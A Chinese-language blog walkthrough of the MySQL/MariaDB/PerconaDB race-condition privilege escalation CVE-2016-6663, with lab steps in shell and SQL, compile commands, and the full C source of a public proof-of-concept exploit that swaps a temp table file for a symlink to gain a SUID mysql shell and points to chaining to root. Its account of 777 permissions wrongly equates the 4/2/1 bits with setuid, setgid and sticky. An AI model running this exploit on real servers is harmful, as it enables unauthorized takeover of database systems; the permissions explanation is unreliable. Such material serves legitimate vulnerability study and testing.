美文网首页
mysql CVE-2016-6663 条件竞争漏洞提权详情与P

mysql CVE-2016-6663 条件竞争漏洞提权详情与P

作者: Otis4631 | 来源:发表于2019-01-06 21:38 被阅读0次

MySQLMariaDBPerconaDB数据库中发现条件竞争漏洞在受影响版本中,用户可以使用低权限的数据库用户(例如:只有查询或创建权限的用户)提升到数据库系统用户(Mysql)。

漏洞危害

MariaDBPerconaDB都属于MySQL的分支,是全球使用最广泛的数据库之一,特别是在Web端。漏洞危害极大,一旦恶意访问者成功利用提权漏洞,将对数据库的数据造成不可估量危害。

漏洞范围

漏洞范围

实验环境

  • 操作机Kali Linux

实验工具

  • mysql-privesc-race:这个文件是本次漏洞试验的POC,我们将使用本文件验证漏洞

实验步骤

本实验分为两步,其中第一步了解漏洞原理,第二步使用POC证明漏洞的存在

步骤1: 漏洞成因分析

  • 本步骤又分为四小步:

  • 第一步,启动mysql。

  • 第二步,创建文件夹,并通过mysql把临时数据储存在我们创建的文件夹。

  • 第三步,修改文件夹属性,再次通过mysql写入数据

  • 第四步,对比两次写入的数据,分析漏洞成因

  • 第一步

启动mysql数据库:

使用命令

service mysql start   //启动mysql服务
su user

mysql已经启动成功

  • 第二步

现在查看当前用户权限,以便于后期区分权限。使用whoami命令,可以查看当前用户:

Alt text

可以看到当前是user账户。

接下来创建文件夹,因为我们要将数据库的数据指向到我们创建的文件夹中,这样才有了利用的可能。

然后使用命令:

mkdir /tmp/nice

mkdir是创建文件夹的意思,使用上述命令,可以在tmp目录下创建nice文件夹。

Alt text

接下来使用命令:

chmod 777 /tmp/nice/

这条命令的意思是:将此文件夹的权限设置为777

在linux中权限设置很严谨,我们设置为777,是为了在实验中防止某些文件不能写入。

Alt text

那么777是什么权限呢?777就代表最高的权限。

第一个数字代表文件所属者的权限 第二个数字代表文件所属者所在组的权限 第三个数字代表其它用户的权限。

也就是:7=4+2+1

4:执行时设置用户ID,用于授权给基于文件属主的进程,而不是给创建此进程的用户。 2:执行时设置用户组ID,用于授权给基于文件所在组的进程,而不是基于创建此进程的用户。 1:设置粘着位。

再使用命令:

ls -ld

这条命令的意思是列出详细的目录列表,并且仅列出目录

Alt text

我们可以看到,这个文件夹属于user,也就是我们当前的用户。

现在已经创建了文件夹,接下来我们登录数据库,创建一个表,使其产生临时数据。

使用命令:

mysql -utest -p1234

这条命令可以连接到数据库,其中-u后面输入账号,-p后面输入密码。

Alt text

可以看到已经成功的连接到了数据库。

接下来我们使用Sql语句来添加数据:

show databases; //查看当前数据库
use test;  //用到test数据库
show tables; //查看test数据库中的表
CREATE TABLE JG1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //创建一个名为JG1的表,并使用MyISAM引擎,将数据储存在/tmp/nice目录。
show tables; //查看test数据库中的表

Alt text

我们已经创建了一个表,名为JG1,并将它的数据储存在/tmp/nice目录。现在我们去查看nice目录:

exit;   //退出Mysql系统
cd /tmp/nice/ //进入nice目录
ls -l    //查看当前目录下文件详细信息

Alt text
  • 第三步:

下面修改文件夹的属性:

chmod g+s /tmp/nice/   //nice文件夹下所建文件的所属组都会变成和nice一样

其中 g的意思是:任何用户在此目录下创建的文件都具有和该目录所属的组相同的组 s:该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于

该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用sticky bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。

Alt text

接下来我们写入数据:

show databases; //查看当前数据库
use test;  //用到test数据库
show tables; //查看test数据库中的表
CREATE TABLE JG2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/nice';
    //创建一个名为JG2的表,并使用MyISAM引擎,将数据储存在/tmp/nice目录。
show tables; //查看test数据库中的表

Alt text

这样一来,nice文件夹中的文件,就属于我们当前的user组了,我们也就有了写的权限,漏洞也就这样产生了,我们再通过构建POC,就可以验证漏洞的存在了。

第四步:

这时候再查看nice文件夹:

exit;
cd /tmp/nice/
ls -l

Alt text

可以看到,本来mysql的临时文件应该是属于mysql组的,但通过我们修改其文件夹属性,在加上mysql执行了不安全的临时文件创建,就导致临时文件属于user组,对其也就有了操作的权限,漏洞就这样产生了

第二步:使用POC验证漏洞

  • 本步骤将使用POC验证漏洞

我们首先尝试使用普通用户,进入mysql的数据库存放处/var/lib/mysql/

Alt text

可以看到,我们并没有权限进入文件夹。

接下来执行POC进行漏洞验证,首先进入POC所在文件夹:

cd /home   //进入home目录
ls     //查看当前目录文件

Alt text

其中mysql-privesc-race就是本次的POC,接下来要执行它:

./mysql-privesc-race test 1234 localhost test

其中,./代表执行当前目录下mysql-privesc-race文件的意思,后面的test和1234,为低权限用户的账号密码,localhost则代表本地ip的意思,最后的test代表当前test用户的数据库。

Poc执行时,尝试次数具有随机性,所以需等待一段时间,请耐心等候~~

Alt text

如图,我们已经提升到mysql权限,这样就可以对mysql的整个库进行控制了。

现在再次进入/var/lib/myql文件夹,看能否进入成功。

Alt text

可以看到,成功的进入,并对mysql下所有数据库具有控制权。

到这里也就达到了提权的目的。

编译exp:
如果编译失败可能是缺少mysql库,使用sudo apt-get install libmysqld-dev安装
若需指定mysqlclient动态链接库路径,可加上-L参数如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

POC:

/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系统上,你可能需要将/tmp目录改为其他的目录如/uploads

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;          // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
        printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
    usage(argv[0]);
    exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    // 连接数据库
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    // 新建目录/tmp/mysql_privesc_exploit,并未该目录设置SGID
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    // 新建两个表exploit_table和mysql_suid_shell
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    // 拷贝/bin/bash到mysql_suid_shell.MYD
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");
    // 判断mysql_suid_shell.MYD是否被设置了suid
    while ( is_shell_suid != 1 ) {

        cnt++;
    if ( (cnt % 100) == 0 ) {
        printf("->");
        //fflush(stdout);   
    }

        /* Create empty file , remove if already exists */
        // 删除exploit_table.TMD
        unlink(MYSQL_TEMP_FILE);
        // 删除exploit_table.MYD
        unlink(MYSQL_TAB_FILE);
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

    /* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        // 替换exploit_table.tmd为符号链接
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        // 子进程执行REPAIR操作, 该操作会生成一个TMD文件
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
        mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }
        // 父进程将exploit_table.tmd替换为符号链接
        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                    break;
                }
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            //usleep(randomnum);

                // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
                // 将MYD的权限设置为04777(suid+exec)
                // 删除mysql建立的exploit_table.MYD
                unlink(MYSQL_TAB_FILE);
                // 以attacker身份新建exploit_table.MYD
                myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
                close(myd_handle);
                // 将MYD权限改为04777
                chmod(MYSQL_TAB_FILE, 04777);
                // 将exploit_table.TMD换为符号链接,指向mysql_suid_shell.TMD
                // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

    // Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
        if (st.st_mode & S_ISUID) {
        is_shell_suid = 1;
        }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    //启动bash shell,因为设置了SUID,所以会获得mysql权限
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}

相关文章

  • mysql CVE-2016-6663 条件竞争漏洞提权详情与P

    在MySQL、 MariaDB和PerconaDB数据库中发现条件竞争漏洞在受影响版本中,用户可以使用低权限的数据...

  • 17.提权

    提权方法:溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方...

  • mysql的提权的四种方案

    mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第...

  • 数据库提权

    1 Mysql数据库漏洞提权 一般Mysql数据库经常使用php进行连接,会有较少的情况使用jsp,python等...

  • 提权漏洞

    提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后...

  • 条件竞争漏洞

    条件竞争是沃特? 敲黑板,定义:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操...

  • 2019-08-08

    pr提权 提权利用的漏洞 Microsoft Windows RPCSS服务隔离本地权限提升漏洞 RPCSS服务没...

  • 【提权系列】— CVE-2016-7255

    漏洞名称 Windows Win32k 权限提权漏洞 漏洞编号 CVE-2016-7255MS16-135 漏洞描...

  • windows提权

    一、常见提权方法 1、溢出漏洞提权 2、数据库提权 3、第三方软件提权 二、Cmd命令无法执行原因分析 1、Cmd...

  • 【提权系列】— CVE-2018-8120

    漏洞名称 Windows Win32k 权限提权漏洞 漏洞编号 CVE-2018-8120 漏洞描述 部分版本Wi...

网友评论

      本文标题:mysql CVE-2016-6663 条件竞争漏洞提权详情与P

      本文链接:https://www.haomeiwen.com/subject/joeerqtx.html